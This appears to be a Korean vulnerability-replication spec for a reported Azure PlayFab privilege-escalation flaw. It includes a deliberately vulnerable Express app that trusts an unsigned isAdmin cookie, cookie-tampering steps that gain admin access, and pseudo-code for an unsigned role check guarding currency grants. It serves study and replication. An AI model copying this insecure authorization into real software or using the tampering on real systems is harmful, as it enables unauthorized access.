Skip to main content

Replication Environment Tech Spec

대상 소프트웨어(Target Application Specification)

  • 제품명/버전 :
    • Microsoft Azure PlayFab (PlayFab)
    • 따로 버전이 없음. 과거 버전 구하기는 거의 불가 / 다운로드 개념 X
    • 10월 업데이트 항목에 해당 취약점 개선되었다고
  • 배포 방식 : PlayFab 포털 / 뜸zure 포털 기반으로 사용 가능

시스템 환경(System Environment)

  • 공개 문서 기준으로 정확한 OS, 커널, Web Server, DB 버전은 제공 X
  • Application Stack 의 경우 PlayFab이 MS의 일부이기 때문에 ".NET/C#"기반 구조와 잘 연동되도록 설계되어있는 듯 함
    • (reference) "Its use of reusable components and shared codebases across platforms reduces development time and costs."

PoC 실행 환경(PoC Execution Environment)

  • PoC 전체 아키텍쳐

    • 사용자 로그인 시 set-cookie: userId=23; role=user; isAdmin=false
    • 서버가 관리자 전용 API 호출 시 `if (req.cookies.isAdmin === "true") allow()
  • PoC 서버코드 (llm작성)

// vulnerable-app/index.js
const express = require("express");
const cookieParser = require("cookie-parser");
const app = express();
app.use(cookieParser());
app.use(express.json());

// 로그인 – 취약한 쿠키 발급
app.post("/login", (req, res) => {
// 원래는 DB 인증 등이 있어야 하지만 PoC에서는 생략
res.cookie("userId", "23");
res.cookie("role", "user");
res.cookie("isAdmin", "false");
res.send("Logged in as normal user");
});

// 관리자 권한이 필요한 API (취약)
app.get("/admin", (req, res) => {
const isAdmin = req.cookies.isAdmin;

if (isAdmin === "true") {
return res.send("Welcome ADMIN. Sensitive data: FLAG{admin_panel_access}");
} else {
return res.status(403).send("Access denied");
}
});

app.listen(3000, () => console.log("Vulnerable app running on port 3000"));
  • 공격자 관점 PoC
    • 쿠키 조작
      • isAdmin = true
      • role = admin
    • 재요청
      • GET /admin
      • Cookie: isAdmin=true; role=admin; userId=23
    • 서버 응답 (권한 상승 성공한 경우에 뜨는 것 임)
      • Welcome ADMIN. Sensitive data: FLAG{admin_panel_access}

참고사항

  • pseudo-code
# 취약한 권한 체크 (가상 코드)
def check_admin_permission(request):
# 쿠키에서 역할 정보 읽기
session_data = request.cookies.get('playfab_session')
user_role = json.loads(session_data).get('role')

# 문제: 서명/무결성 검증 없이 클라이언트 값 신뢰
if user_role == 'admin':
return True
return False

# 민감한 API 엔드포인트
@app.route('/admin/grant_premium_currency', methods=['POST'])
def grant_currency():
if not check_admin_permission(request):
return {"error": "Forbidden"}, 403

# 관리자 권한으로 가상 화폐 지급
player_id = request.json.get('player_id')
amount = request.json.get('amount')
grant_virtual_currency(player_id, amount)
return {"success": True}